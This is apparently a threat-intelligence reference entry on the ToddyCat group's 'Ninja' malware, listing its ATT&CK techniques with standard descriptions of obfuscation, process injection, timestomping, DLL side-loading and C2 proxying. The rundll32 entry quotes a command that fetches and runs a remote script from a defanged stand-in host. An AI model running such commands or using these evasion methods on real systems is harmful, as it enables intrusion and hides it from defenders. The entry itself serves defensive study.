Malware Ninja

Ninja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.

Platforms : Windows
Version : 1.0
Created : 11 January 2024
Last Modified : 17 April 2024

List of techniques used :

id	description
T1001	Data Obfuscation Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
T1001.003	Data Obfuscation: Protocol or Service Impersonation Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.
T1016	System Network Configuration Discovery Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route. Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface). Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
T1027.013	Obfuscated Files or Information: Encrypted/Encoded File Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use. This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64. The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection. For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.
T1029	Scheduled Transfer Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.
T1036.005	Masquerading: Match Legitimate Name or Location Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic.
T1055	Process Injection Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
T1057	Process Discovery Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via `/proc`. On network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.
T1070.006	Indicator Removal: Timestomp Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files. Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file. `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel. Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file. Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously. Timestomping may be used along with file name Masquerading to hide malware and tools.
T1071.001	Application Layer Protocol: Web Protocols Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1082	System Information Discovery An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.
T1083	File and Directory Discovery Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram). Some files and directories may require elevated or specific user permissions to access.
T1090.001	Proxy: Internal Proxy Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
T1090.003	Proxy: Multi-hop Proxy Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.
T1095	Non-Application Layer Protocol Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
T1106	Native API Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations. Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code. Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.
T1132.002	Data Encoding: Non-Standard Encoding Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.
T1140	Deobfuscate/Decode Files or Information Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.
T1204.002	User Execution: Malicious File An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
T1218.011	System Binary Proxy Execution: Rundll32 Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
T1480.001	Execution Guardrails: Environmental Keying Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment. Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. Like other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.
T1543.003	Create or Modify System Process: Windows Service Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.
T1559	Inter-Process Communication Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.
T1566.003	Phishing: Spearphishing via Service Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
T1573.001	Encrypted Channel: Symmetric Cryptography Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
T1574.002	Hijack Execution Flow: DLL Side-Loading Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s). Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

List of groups using the malware :

id	description
G1022	ToddyCat ToddyCat is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.